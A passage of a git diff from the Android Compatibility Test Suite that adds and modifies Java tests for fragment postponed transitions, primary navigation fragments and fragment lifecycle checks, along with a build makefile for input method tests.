+        final View startBlue2 = fragment2.getView().findViewById(R.id.blueSquare);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                fm.beginTransaction()
+                        .addSharedElement(startBlue2, "blueSquare")
+                        .replace(R.id.fragmentContainer, fragment1)
+                        .commitNow();
+            }
+        });
+
+        assertPostponedTransition(fragment2, fragment1, mBeginningFragment);
+
+        // start the postponed transition
+        fragment1.startPostponedEnterTransition();
+
+        assertForwardTransition(fragment2, fragment1);
+    }
+
+    // Make sure that when a transaction that removes a view is postponed that
+    // another transaction doesn't accidentally remove the view early.
+    @Test
+    public void noAccidentalRemoval() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        fm.beginTransaction().remove(mBeginningFragment).commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.double_container);
+
+        TransitionFragment fragment1 = new PostponedFragment1();
+
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer1, fragment1)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        fragment1.startPostponedEnterTransition();
+        fragment1.waitForTransition();
+        clearTargets(fragment1);
+
+        TransitionFragment fragment2 = new PostponedFragment2();
+        // Create a postponed transaction that removes a view
+        fm.beginTransaction()
+                .replace(R.id.fragmentContainer1, fragment2)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertPostponedTransition(fragment1, fragment2, null);
+
+        TransitionFragment fragment3 = new PostponedFragment1();
+        // Create a transaction that doesn't interfere with the previously postponed one
+        fm.beginTransaction()
+                .replace(R.id.fragmentContainer2, fragment3)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponedTransition(fragment1, fragment2, null);
+
+        fragment3.startPostponedEnterTransition();
+        fragment3.waitForTransition();
+        clearTargets(fragment3);
+
+        assertPostponedTransition(fragment1, fragment2, null);
+    }
+
+    // Ensure that a postponed transaction that is popped runs immediately and that
+    // the transaction results in the original state with no transition.
+    @Test
+    public void popPostponedTransaction() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final View startBlue = mBeginningFragment.getView().findViewById(R.id.blueSquare);
+
+        final TransitionFragment fragment = new PostponedFragment2();
+
+        fm.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponedTransition(mBeginningFragment, fragment, null);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        fragment.waitForNoTransition();
+        mBeginningFragment.waitForNoTransition();
+
+        assureNoTransition(fragment);
+        assureNoTransition(mBeginningFragment);
+
+        assertFalse(fragment.isAdded());
+        assertNull(fragment.getView());
+        assertNotNull(mBeginningFragment.getView());
+        assertTrue(FragmentTestUtil.isVisible(mBeginningFragment));
+        assertTrue(mBeginningFragment.getView().isAttachedToWindow());
+    }
+
+    // Make sure that when saving the state during a postponed transaction that it saves
+    // the state as if it wasn't postponed.
+    @Test
+    public void saveWhilePostponed() throws Throwable {
+        final FragmentController fc1 = FragmentTestUtil.createController(mActivityRule);
+        FragmentTestUtil.resume(mActivityRule, fc1, null);
+
+        final FragmentManager fm1 = fc1.getFragmentManager();
+
+        PostponedFragment1 fragment1 = new PostponedFragment1();
+        fm1.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1, "1")
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        Pair<Parcelable, FragmentManagerNonConfig> state =
+                FragmentTestUtil.destroy(mActivityRule, fc1);
+
+        final FragmentController fc2 = FragmentTestUtil.createController(mActivityRule);
+        FragmentTestUtil.resume(mActivityRule, fc2, state);
+
+        final FragmentManager fm2 = fc2.getFragmentManager();
+        Fragment fragment2 = fm2.findFragmentByTag("1");
+        assertNotNull(fragment2);
+        assertNotNull(fragment2.getView());
+        assertEquals(View.VISIBLE, fragment2.getView().getVisibility());
+        assertTrue(fragment2.isResumed());
+        assertTrue(fragment2.isAdded());
+        assertTrue(fragment2.getView().isAttachedToWindow());
+
+        mActivityRule.runOnUiThread(() -> {
+            assertTrue(fm2.popBackStackImmediate());
+        });
+
+        assertFalse(fragment2.isResumed());
+        assertFalse(fragment2.isAdded());
+        assertNull(fragment2.getView());
+    }
+
+    // Ensure that the postponed fragment transactions don't allow reentrancy in fragment manager
+    @Test
+    public void postponeDoesNotAllowReentrancy() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final View startBlue = mActivityRule.getActivity().findViewById(R.id.blueSquare);
+
+        final CommitNowFragment fragment = new CommitNowFragment();
+        fm.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        // should be postponed now
+        assertPostponedTransition(mBeginningFragment, fragment, null);
+
+        mActivityRule.runOnUiThread(() -> {
+            // start the postponed transition
+            fragment.startPostponedEnterTransition();
+
+            try {
+                // This should trigger an IllegalStateException
+                fm.executePendingTransactions();
+                fail("commitNow() while executing a transaction should cause an "
+                        + "IllegalStateException");
+            } catch (IllegalStateException e) {
+                // expected
+            }
+        });
+    }
+
+    private void assertPostponedTransition(TransitionFragment fromFragment,
+            TransitionFragment toFragment, TransitionFragment removedFragment)
+            throws InterruptedException {
+        if (removedFragment != null) {
+            assertNull(removedFragment.getView());
+            assureNoTransition(removedFragment);
+        }
+
+        toFragment.waitForNoTransition();
+        assertNotNull(fromFragment.getView());
+        assertNotNull(toFragment.getView());
+        assertTrue(fromFragment.getView().isAttachedToWindow());
+        assertTrue(toFragment.getView().isAttachedToWindow());
+        assertEquals(View.VISIBLE, fromFragment.getView().getVisibility());
+        assertTrue(FragmentTestUtil.isVisible(fromFragment));
+        assertEquals(View.VISIBLE, toFragment.getView().getVisibility());
+        assertFalse(FragmentTestUtil.isVisible(toFragment));
+        assureNoTransition(fromFragment);
+        assureNoTransition(toFragment);
+        assertTrue(fromFragment.isResumed());
+        assertFalse(toFragment.isResumed());
+    }
+
+    private void clearTargets(TransitionFragment fragment) {
+        fragment.enterTransition.targets.clear();
+        fragment.reenterTransition.targets.clear();
+        fragment.exitTransition.targets.clear();
+        fragment.returnTransition.targets.clear();
+        fragment.sharedElementEnter.targets.clear();
+        fragment.sharedElementReturn.targets.clear();
+    }
+
+    private void assureNoTransition(TransitionFragment fragment) {
+        assertEquals(0, fragment.enterTransition.targets.size());
+        assertEquals(0, fragment.reenterTransition.targets.size());
+        assertEquals(0, fragment.enterTransition.targets.size());
+        assertEquals(0, fragment.returnTransition.targets.size());
+        assertEquals(0, fragment.sharedElementEnter.targets.size());
+        assertEquals(0, fragment.sharedElementReturn.targets.size());
+    }
+
+    private void assertForwardTransition(TransitionFragment start, TransitionFragment end)
+            throws InterruptedException {
+        start.waitForTransition();
+        end.waitForTransition();
+        assertEquals(0, start.enterTransition.targets.size());
+        assertEquals(1, end.enterTransition.targets.size());
+
+        assertEquals(0, start.reenterTransition.targets.size());
+        assertEquals(0, end.reenterTransition.targets.size());
+
+        assertEquals(0, start.returnTransition.targets.size());
+        assertEquals(0, end.returnTransition.targets.size());
+
+        assertEquals(1, start.exitTransition.targets.size());
+        assertEquals(0, end.exitTransition.targets.size());
+
+        assertEquals(0, start.sharedElementEnter.targets.size());
+        assertEquals(2, end.sharedElementEnter.targets.size());
+
+        assertEquals(0, start.sharedElementReturn.targets.size());
+        assertEquals(0, end.sharedElementReturn.targets.size());
+
+        final View blue = end.getView().findViewById(R.id.blueSquare);
+        assertTrue(end.sharedElementEnter.targets.contains(blue));
+        assertEquals("blueSquare", end.sharedElementEnter.targets.get(0).getTransitionName());
+        assertEquals("blueSquare", end.sharedElementEnter.targets.get(1).getTransitionName());
+
+        assertNoTargets(start);
+        assertNoTargets(end);
+
+        clearTargets(start);
+        clearTargets(end);
+    }
+
+    private void assertBackTransition(TransitionFragment start, TransitionFragment end)
+            throws InterruptedException {
+        start.waitForTransition();
+        end.waitForTransition();
+        assertEquals(1, end.reenterTransition.targets.size());
+        assertEquals(0, start.reenterTransition.targets.size());
+
+        assertEquals(0, end.returnTransition.targets.size());
+        assertEquals(1, start.returnTransition.targets.size());
+
+        assertEquals(0, start.enterTransition.targets.size());
+        assertEquals(0, end.enterTransition.targets.size());
+
+        assertEquals(0, start.exitTransition.targets.size());
+        assertEquals(0, end.exitTransition.targets.size());
+
+        assertEquals(0, start.sharedElementEnter.targets.size());
+        assertEquals(0, end.sharedElementEnter.targets.size());
+
+        assertEquals(2, start.sharedElementReturn.targets.size());
+        assertEquals(0, end.sharedElementReturn.targets.size());
+
+        final View blue = end.getView().findViewById(R.id.blueSquare);
+        assertTrue(start.sharedElementReturn.targets.contains(blue));
+        assertEquals("blueSquare", start.sharedElementReturn.targets.get(0).getTransitionName());
+        assertEquals("blueSquare", start.sharedElementReturn.targets.get(1).getTransitionName());
+
+        assertNoTargets(end);
+        assertNoTargets(start);
+
+        clearTargets(start);
+        clearTargets(end);
+    }
+
+    private static void assertNoTargets(TransitionFragment fragment) {
+        assertTrue(fragment.enterTransition.getTargets().isEmpty());
+        assertTrue(fragment.reenterTransition.getTargets().isEmpty());
+        assertTrue(fragment.exitTransition.getTargets().isEmpty());
+        assertTrue(fragment.returnTransition.getTargets().isEmpty());
+        assertTrue(fragment.sharedElementEnter.getTargets().isEmpty());
+        assertTrue(fragment.sharedElementReturn.getTargets().isEmpty());
+    }
+
+    public static class PostponedFragment1 extends TransitionFragment {
+        @Override
+        public View onCreateView(LayoutInflater inflater, ViewGroup container,
+                Bundle savedInstanceState) {
+            postponeEnterTransition();
+            return inflater.inflate(R.layout.scene1, container, false);
+        }
+    }
+
+    public static class PostponedFragment2 extends TransitionFragment {
+        @Override
+        public View onCreateView(LayoutInflater inflater, ViewGroup container,
+                Bundle savedInstanceState) {
+            postponeEnterTransition();
+            return inflater.inflate(R.layout.scene2, container, false);
+        }
+    }
+
+    public static class CommitNowFragment extends PostponedFragment1 {
+        @Override
+        public void onResume() {
+            super.onResume();
+            // This should throw because this happens during the execution
+            getFragmentManager().beginTransaction()
+                    .add(R.id.fragmentContainer, new PostponedFragment1())
+                    .commitNow();
+        }
+    }
+
+    public static class TransitionFragment2 extends TransitionFragment {
+        @Override
+        public View onCreateView(LayoutInflater inflater, ViewGroup container,
+                Bundle savedInstanceState) {
+            super.onCreateView(inflater, container, savedInstanceState);
+            return inflater.inflate(R.layout.scene2, container, false);
+        }
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java b/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java
new file mode 100644
index 0000000..c5c11cf
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.fragment.cts;
+
+import android.app.FragmentManager;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.MediumTest;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static android.fragment.cts.FragmentTestUtil.executePendingTransactions;
+import static android.fragment.cts.FragmentTestUtil.popBackStackImmediate;
+import static junit.framework.TestCase.*;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class PrimaryNavFragmentTest {
+    @Rule
+    public ActivityTestRule<FragmentTestActivity> mActivityRule =
+            new ActivityTestRule<>(FragmentTestActivity.class);
+
+    @Test
+    public void delegateBackToPrimaryNav() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictFragment strictFragment = new StrictFragment();
+
+        fm.beginTransaction().add(strictFragment, null).setPrimaryNavigationFragment(strictFragment)
+                .commit();
+        executePendingTransactions(mActivityRule, fm);
+
+        assertSame("new fragment is not primary nav fragment", strictFragment,
+                fm.getPrimaryNavigationFragment());
+
+        final StrictFragment child = new StrictFragment();
+        FragmentManager cfm = strictFragment.getChildFragmentManager();
+        cfm.beginTransaction().add(child, null).addToBackStack(null).commit();
+        executePendingTransactions(mActivityRule, cfm);
+
+        assertEquals("child transaction not on back stack", 1, cfm.getBackStackEntryCount());
+
+        // Should execute the pop for the child fragmentmanager
+        assertTrue("popBackStackImmediate returned no action performed",
+                popBackStackImmediate(mActivityRule, fm));
+
+        assertEquals("child transaction still on back stack", 0, cfm.getBackStackEntryCount());
+    }
+
+    @Test
+    public void popPrimaryNav() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictFragment strictFragment1 = new StrictFragment();
+
+        fm.beginTransaction().add(strictFragment1, null)
+                .setPrimaryNavigationFragment(strictFragment1)
+                .commit();
+        executePendingTransactions(mActivityRule, fm);
+
+        assertSame("new fragment is not primary nav fragment", strictFragment1,
+                fm.getPrimaryNavigationFragment());
+
+        fm.beginTransaction().remove(strictFragment1).addToBackStack(null).commit();
+        executePendingTransactions(mActivityRule, fm);
+
+        assertNull("primary nav fragment is not null after remove",
+                fm.getPrimaryNavigationFragment());
+
+        popBackStackImmediate(mActivityRule, fm);
+
+        assertSame("primary nav fragment was not restored on pop", strictFragment1,
+                fm.getPrimaryNavigationFragment());
+
+        final StrictFragment strictFragment2 = new StrictFragment();
+        fm.beginTransaction().remove(strictFragment1).add(strictFragment2, null)
+                .setPrimaryNavigationFragment(strictFragment2).addToBackStack(null).commit();
+        executePendingTransactions(mActivityRule, fm);
+
+        assertSame("primary nav fragment not updated to new fragment", strictFragment2,
+                fm.getPrimaryNavigationFragment());
+
+        popBackStackImmediate(mActivityRule, fm);
+
+        assertSame("primary nav fragment not restored on pop", strictFragment1,
+                fm.getPrimaryNavigationFragment());
+
+        fm.beginTransaction().setPrimaryNavigationFragment(strictFragment1)
+                .addToBackStack(null).commit();
+        executePendingTransactions(mActivityRule, fm);
+
+        assertSame("primary nav fragment not retained when set again in new transaction",
+                strictFragment1, fm.getPrimaryNavigationFragment());
+        popBackStackImmediate(mActivityRule, fm);
+
+        assertSame("same primary nav fragment not retained when set primary nav transaction popped",
+                strictFragment1, fm.getPrimaryNavigationFragment());
+    }
+
+    @Test
+    public void replacePrimaryNav() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictFragment strictFragment1 = new StrictFragment();
+
+        fm.beginTransaction().add(android.R.id.content, strictFragment1)
+                .setPrimaryNavigationFragment(strictFragment1).commit();
+        executePendingTransactions(mActivityRule, fm);
+
+        assertSame("new fragment is not primary nav fragment", strictFragment1,
+                fm.getPrimaryNavigationFragment());
+
+        final StrictFragment strictFragment2 = new StrictFragment();
+        fm.beginTransaction().replace(android.R.id.content, strictFragment2)
+                .addToBackStack(null).commit();
+
+        executePendingTransactions(mActivityRule, fm);
+
+        assertNull("primary nav fragment not null after replace",
+                fm.getPrimaryNavigationFragment());
+
+        popBackStackImmediate(mActivityRule, fm);
+
+        assertSame("primary nav fragment not restored after popping replace", strictFragment1,
+                fm.getPrimaryNavigationFragment());
+
+        fm.beginTransaction().setPrimaryNavigationFragment(null).commit();
+        executePendingTransactions(mActivityRule, fm);
+
+        assertNull("primary nav fragment not null after explicit set to null",
+                fm.getPrimaryNavigationFragment());
+
+        fm.beginTransaction().replace(android.R.id.content, strictFragment2)
+                .setPrimaryNavigationFragment(strictFragment2).addToBackStack(null).commit();
+        executePendingTransactions(mActivityRule, fm);
+
+        assertSame("primary nav fragment not set correctly after replace", strictFragment2,
+                fm.getPrimaryNavigationFragment());
+
+        popBackStackImmediate(mActivityRule, fm);
+
+        assertNull("primary nav fragment not null after popping replace",
+                fm.getPrimaryNavigationFragment());
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
new file mode 100644
index 0000000..82b32a9
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.util.concurrent.CountDownLatch;
+
+public class RecreatedActivity extends Activity {
+    // These must be cleared after each test using clearState()
+    public static RecreatedActivity sActivity;
+    public static CountDownLatch sResumed;
+    public static CountDownLatch sDestroyed;
+
+    public static void clearState() {
+        sActivity = null;
+        sResumed = null;
+        sDestroyed = null;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        sActivity = this;
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        if (sResumed != null) {
+            sResumed.countDown();
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        if (sDestroyed != null) {
+            sDestroyed.countDown();
+        }
+    }}
diff --git a/tests/fragment/src/android/fragment/cts/ReentrantFragment.java b/tests/fragment/src/android/fragment/cts/ReentrantFragment.java
new file mode 100644
index 0000000..654574d
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/ReentrantFragment.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.fragment.cts;
+
+import android.os.Bundle;
+
+public class ReentrantFragment extends StrictFragment {
+    private static final String FROM_STATE = "fromState";
+    private static final String TO_STATE = "toState";
+    int mFromState = 0;
+    int mToState = 0;
+    boolean mIsRestored;
+
+    public static ReentrantFragment create(int fromState, int toState) {
+        ReentrantFragment fragment = new ReentrantFragment();
+        fragment.mFromState = fromState;
+        fragment.mToState = toState;
+        fragment.mIsRestored = false;
+        return fragment;
+    }
+
+    @Override
+    public void onStateChanged(int fromState) {
+        super.onStateChanged(fromState);
+        // We execute the transaction when shutting down or after restoring
+        if (fromState == mFromState && mState == mToState
+                && (mToState < mFromState || mIsRestored)) {
+            executeTransaction();
+        }
+    }
+
+    private void executeTransaction() {
+        getFragmentManager().beginTransaction()
+                .add(new StrictFragment(), "should throw")
+                .commitNow();
+    }
+
+    @Override
+    public void onSaveInstanceState(Bundle outState) {
+        super.onSaveInstanceState(outState);
+        outState.putInt(FROM_STATE, mFromState);
+        outState.putInt(TO_STATE, mToState);
+    }
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        if (savedInstanceState != null) {
+            mFromState = savedInstanceState.getInt(FROM_STATE);
+            mToState = savedInstanceState.getInt(TO_STATE);
+            mIsRestored = true;
+        }
+        super.onCreate(savedInstanceState);
+    }
+
+}
diff --git a/tests/fragment/src/android/fragment/cts/StrictFragment.java b/tests/fragment/src/android/fragment/cts/StrictFragment.java
index f0c4a8a..987d97c 100644
--- a/tests/fragment/src/android/fragment/cts/StrictFragment.java
+++ b/tests/fragment/src/android/fragment/cts/StrictFragment.java
@@ -37,7 +37,8 @@
 
     boolean mCalledOnAttach, mCalledOnCreate, mCalledOnActivityCreated,
             mCalledOnStart, mCalledOnResume, mCalledOnSaveInstanceState,
-            mCalledOnPause, mCalledOnStop, mCalledOnDestroy, mCalledOnDetach;
+            mCalledOnPause, mCalledOnStop, mCalledOnDestroy, mCalledOnDetach,
+            mCalledOnAttachFragment;
 
     static String stateToString(int state) {
         switch (state) {
@@ -51,6 +52,10 @@
         return "(unknown " + state + ")";
     }
 
+    public void onStateChanged(int fromState) {
+        checkGetActivity();
+    }
+
     public void checkGetActivity() {
         if (getActivity() == null) {
             throw new IllegalStateException("getActivity() returned null at unexpected time");
@@ -82,24 +87,30 @@
     }
 
     @Override
+    public void onAttachFragment(Fragment childFragment) {
+        super.onAttachFragment(childFragment);
+        mCalledOnAttachFragment = true;
+    }
+
+    @Override
     public void onAttach(Context context) {
         super.onAttach(context);
         mCalledOnAttach = true;
         checkState("onAttach", DETACHED);
         mState = ATTACHED;
-        checkGetActivity();
+        onStateChanged(DETACHED);
     }
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        if (mCalledOnCreate) {
-            throw new IllegalStateException("onCreate called more than once");
+        if (mCalledOnCreate && !mCalledOnDestroy) {
+            throw new IllegalStateException("onCreate called more than once with no onDestroy");
         }
         mCalledOnCreate = true;
         checkState("onCreate", ATTACHED);
         mState = CREATED;
-        checkGetActivity();
+        onStateChanged(ATTACHED);
     }
 
     @Override
@@ -107,8 +118,9 @@
         super.onActivityCreated(savedInstanceState);
         mCalledOnActivityCreated = true;
         checkState("onActivityCreated", ATTACHED, CREATED);
+        int fromState = mState;
         mState = ACTIVITY_CREATED;
-        checkGetActivity();
+        onStateChanged(fromState);
     }
 
     @Override
@@ -117,7 +129,7 @@
         mCalledOnStart = true;
         checkState("onStart", ACTIVITY_CREATED);
         mState = STARTED;
-        checkGetActivity();
+        onStateChanged(ACTIVITY_CREATED);
     }
 
     @Override
@@ -126,7 +138,7 @@
         mCalledOnResume = true;
         checkState("onResume", STARTED);
         mState = RESUMED;
-        checkGetActivity();
+        onStateChanged(STARTED);
     }
 
     @Override
@@ -134,7 +146,10 @@
         super.onSaveInstanceState(outState);
         mCalledOnSaveInstanceState = true;
         checkGetActivity();
-        checkStateAtLeast("onSaveInstanceState", STARTED);
+        // FIXME: We should not allow onSaveInstanceState except when STARTED or greater.
+        // But FragmentManager currently does it in saveAllState for fragments on the
+        // back stack, so fragments may be in the CREATED state.
+        checkStateAtLeast("onSaveInstanceState", CREATED);
     }
 
     @Override
@@ -143,7 +158,7 @@
         mCalledOnPause = true;
         checkState("onPause", RESUMED);
         mState = STARTED;
-        checkGetActivity();
+        onStateChanged(RESUMED);
     }
 
     @Override
@@ -152,7 +167,7 @@
         mCalledOnStop = true;
         checkState("onStop", STARTED);
         mState = CREATED;
-        checkGetActivity();
+        onStateChanged(STARTED);
     }
 
     @Override
@@ -161,7 +176,7 @@
         mCalledOnDestroy = true;
         checkState("onDestroy", CREATED);
         mState = ATTACHED;
-        checkGetActivity();
+        onStateChanged(CREATED);
     }
 
     @Override
@@ -169,7 +184,8 @@
         super.onDetach();
         mCalledOnDetach = true;
         checkState("onDestroy", CREATED, ATTACHED);
+        int fromState = mState;
         mState = DETACHED;
-        checkGetActivity();
+        onStateChanged(fromState);
     }
 }
diff --git a/tests/fragment/src/android/fragment/cts/StrictViewFragment.java b/tests/fragment/src/android/fragment/cts/StrictViewFragment.java
index 8c0ab51..d39cc12 100644
--- a/tests/fragment/src/android/fragment/cts/StrictViewFragment.java
+++ b/tests/fragment/src/android/fragment/cts/StrictViewFragment.java
@@ -24,13 +24,24 @@
 
 public class StrictViewFragment extends StrictFragment {
     boolean mOnCreateViewCalled, mOnViewCreatedCalled, mOnDestroyViewCalled;
+    int mLayoutId = R.layout.strict_view_fragment;
+
+    public void setLayoutId(int layoutId) {
+        mLayoutId = layoutId;
+    }
+
+    public static StrictViewFragment create(int layoutId) {
+        StrictViewFragment fragment = new StrictViewFragment();
+        fragment.mLayoutId = layoutId;
+        return fragment;
+    }
 
     @Override
     public View onCreateView(LayoutInflater inflater, ViewGroup container,
             Bundle savedInstanceState) {
         checkGetActivity();
         checkState("onCreateView", CREATED);
-        final View result = inflater.inflate(R.layout.strict_view_fragment, container, false);
+        final View result = inflater.inflate(mLayoutId, container, false);
         mOnCreateViewCalled = true;
         return result;
     }
diff --git a/tests/fragment/src/android/fragment/cts/TransitionFragment.java b/tests/fragment/src/android/fragment/cts/TransitionFragment.java
new file mode 100644
index 0000000..17363ac
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/TransitionFragment.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.verify;
+
+import com.android.compatibility.common.util.transition.TrackingTransition;
+import com.android.compatibility.common.util.transition.TrackingVisibility;
+
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.transition.Transition;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+
+/**
+ * A fragment that has transitions that can be tracked.
+ */
+public class TransitionFragment extends StrictViewFragment {
+    public final TrackingVisibility enterTransition = new TrackingVisibility();
+    public final TrackingVisibility reenterTransition = new TrackingVisibility();
+    public final TrackingVisibility exitTransition = new TrackingVisibility();
+    public final TrackingVisibility returnTransition = new TrackingVisibility();
+    public final TrackingTransition sharedElementEnter = new TrackingTransition();
+    public final TrackingTransition sharedElementReturn = new TrackingTransition();
+
+    private Transition.TransitionListener mListener = mock(Transition.TransitionListener.class);
+
+    public TransitionFragment() {
+        setEnterTransition(enterTransition);
+        setReenterTransition(reenterTransition);
+        setExitTransition(exitTransition);
+        setReturnTransition(returnTransition);
+        setSharedElementEnterTransition(sharedElementEnter);
+        setSharedElementReturnTransition(sharedElementReturn);
+        enterTransition.addListener(mListener);
+        sharedElementEnter.addListener(mListener);
+        reenterTransition.addListener(mListener);
+        exitTransition.addListener(mListener);
+        returnTransition.addListener(mListener);
+        sharedElementReturn.addListener(mListener);
+    }
+
+    @Override
+    public View onCreateView(LayoutInflater inflater, ViewGroup container,
+            Bundle savedInstanceState) {
+        checkGetActivity();
+        checkState("onCreateView", CREATED);
+        mOnCreateViewCalled = true;
+        return super.onCreateView(inflater, container, savedInstanceState);
+    }
+
+    void waitForTransition() throws InterruptedException {
+        verify(mListener, within(500)).onTransitionEnd(any());
+        reset(mListener);
+    }
+
+    void waitForNoTransition() throws InterruptedException {
+        SystemClock.sleep(250);
+        verify(mListener, never()).onTransitionStart(any());
+    }
+}
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
new file mode 100644
index 0000000..7de22d4
--- /dev/null
+++ b/tests/inputmethod/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_MULTILIB := both
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    compatibility-device-util \
+    ctstestrunner
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsInputMethodTestCases
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
new file mode 100644
index 0000000..11f008d
--- /dev/null
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
